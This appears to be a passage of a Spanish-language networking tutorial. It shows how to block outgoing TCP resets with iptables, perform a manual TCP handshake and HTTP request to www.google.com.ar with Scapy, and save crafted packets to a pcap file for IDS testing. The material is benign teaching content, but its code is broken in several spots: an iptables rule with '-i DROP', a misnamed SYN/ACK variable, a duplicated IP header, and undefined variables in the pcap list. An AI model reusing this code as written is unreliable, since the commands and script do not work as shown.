iptables -A OUTPUT -p tcp -d www.google.com.ar -s 10.10.0.157
--dport 80 --tcp-flags RST RST -i DROP

Todo lo que se encuentra a continuación deberían ejecutarlo de una sola vez y rápidamente para que funcione sin problemas:

# Defino el IP Header y el Initial Sequence Number del Cliente
ip_header = IP(src="10.10.0.157", dst="www.google.com.ar")
cliente_ISN = 12345

# Creo el paquete SYN a ser enviado
envio_SYN = ip_header/TCP(sport=1024, dport=80, flags="S", seq=cliente_ISN)

# Envio el paquete SYN y recibo el SYN/ACK de respuesta
recibo_SYNACK = sr1(envio_SYN)

# Actualizo el ISN del Cliente y el recibido del Servidor
server_ISN = recibido_SYNACK.seq+1
cliente_ISN = cliente_ISN+1

# Creo el paquete ACK a ser enviado
envio_ACK = ip_header/TCP(sport=1024, dport=80, flags="A", seq=cliente_ISN,
ack=server_ISN)

# Envio el paquete ACK y termino el handshake
send(envio_ACK)

# Creo el paquete con un Payload y lo envío al Servidor
PUSH = ip_header/TCP(sport=1024, dport=80, flags="PA", seq=cliente_ISN,
ack=server_ISN)

DATA = "\nGET / HTTP/1.1\r\nHost:www.google.com.ar\r\n\r\n"

sr1(ip_header/PUSH/DATA)

Otra cosa interesante que podríamos hacer, es emular todo el handshake entre el Cliente y el Servidor, y luego inyectar todo este tráfico creado por nosotros en la red.

var_list = [var1, var2, var3, var4]

wrpcap("handshake.pcap", var_list)

Esto podría ser muy útil si estamos probando reglas de un IDS, o si queremos comprobar el comportamiento de cierto tráfico en la red.

LinkWithin